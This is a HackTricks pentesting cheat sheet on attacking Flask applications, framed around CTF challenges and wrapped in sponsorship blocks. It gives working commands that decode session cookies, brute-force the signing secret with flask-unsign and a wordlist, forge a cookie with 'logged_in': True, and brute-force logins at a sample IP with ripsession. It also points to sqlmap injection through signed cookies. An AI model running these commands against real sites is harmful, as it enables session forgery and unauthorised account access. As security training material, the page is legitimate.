119 lines
5.5 KiB
Markdown
119 lines
5.5 KiB
Markdown
# Flask
|
|
|
|
<details>
|
|
|
|
<summary><strong>Support HackTricks and get benefits!</strong></summary>
|
|
|
|
- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
|
|
|
- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
|
|
- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
|
|
|
- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
|
|
|
- **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
|
|
|
|
</details>
|
|
|
|
{% hint style="danger" %}
|
|
<img src="../../.gitbook/assets/image (307).png" alt="" data-size="original">
|
|
|
|
Through Security Skills as a Service, we help organizations to **defend against the Dark Hacking Arts**. Security Skills as a Service is an offensive cybersecurity consultancy model that combines an Intelligent Platform with the top-class, globally distributed, offensive security engineers, delivering **high-quality penetration testing results. Security Hubs** bring together offensive penetration testing tactics with human behavioral science, providing real-time insights into threat actors' tradecraft and a **complete assessment of any risks**.
|
|
|
|
{% embed url="https://securityhubs.io/" %}
|
|
{% endhint %}
|
|
|
|
****
|
|
|
|
**Probably if you are playing a CTF a Flask application will be related to** [**SSTI**](../../pentesting-web/ssti-server-side-template-injection/)**.**
|
|
|
|
## Cookies
|
|
|
|
Default cookie session name is **`session`**.
|
|
|
|
### Decoder
|
|
|
|
Online Flask coockies decoder: [https://www.kirsle.net/wizards/flask-session.cgi](https://www.kirsle.net/wizards/flask-session.cgi)
|
|
|
|
#### Manual
|
|
|
|
Get the first part of the cookie until the first point and Base64 decode it>
|
|
|
|
```bash
|
|
echo "ImhlbGxvIg" | base64 -d
|
|
```
|
|
|
|
The cookie is also signed using a password
|
|
|
|
### **Flask-Unsign**
|
|
|
|
Command line tool to fetch, decode, brute-force and craft session cookies of a Flask application by guessing secret keys.
|
|
|
|
{% embed url="https://pypi.org/project/flask-unsign/" %}
|
|
|
|
```bash
|
|
pip3 install flask-unsign
|
|
```
|
|
|
|
#### **Decode Cookie**
|
|
|
|
```bash
|
|
flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8'
|
|
```
|
|
|
|
#### **Brute Force**
|
|
|
|
```bash
|
|
flask-unsign --wordlist /usr/share/wordlists/rockyou.txt --unsign --cookie '<cookie>' --no-literal-eval
|
|
```
|
|
|
|
#### **Signing**
|
|
|
|
```bash
|
|
flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME'
|
|
```
|
|
|
|
#### Signing using legacy (old versions)
|
|
|
|
```bash
|
|
flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME' --legacy
|
|
```
|
|
|
|
### **RIPsession**
|
|
Command line tool to brute-force websites using cookies crafted with flask-unsign.
|
|
{% embed url="https://github.com/Tagvi/ripsession" %}
|
|
|
|
|
|
```bash
|
|
ripsession -u 10.10.11.100 -c "{'logged_in': True, 'username': 'changeMe'}" -s password123 -f "user doesn't exist" -w wordlist.txt
|
|
```
|
|
|
|
### SQLi in Flask session cookie with SQLmap
|
|
|
|
[**This example**](../../pentesting-web/sql-injection/sqlmap/#eval) uses sqlmap `eval` option to **automatically sign sqlmap payloads** for flask using a known secret.
|
|
|
|
{% hint style="danger" %}
|
|
<img src="../../.gitbook/assets/image (307).png" alt="" data-size="original">
|
|
|
|
Through Security Skills as a Service, we help organizations to **defend against the Dark Hacking Arts**. Security Skills as a Service is an offensive cybersecurity consultancy model that combines an Intelligent Platform with the top-class, globally distributed, offensive security engineers, delivering **high-quality penetration testing results. Security Hubs** bring together offensive penetration testing tactics with human behavioral science, providing real-time insights into threat actors' tradecraft and a **complete assessment of any risks**.
|
|
|
|
{% embed url="https://securityhubs.io/" %}
|
|
{% endhint %}
|
|
|
|
<details>
|
|
|
|
<summary><strong>Support HackTricks and get benefits!</strong></summary>
|
|
|
|
- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
|
|
|
- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
|
|
- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
|
|
|
- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
|
|
|
- **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
|
|
|
|
</details>
|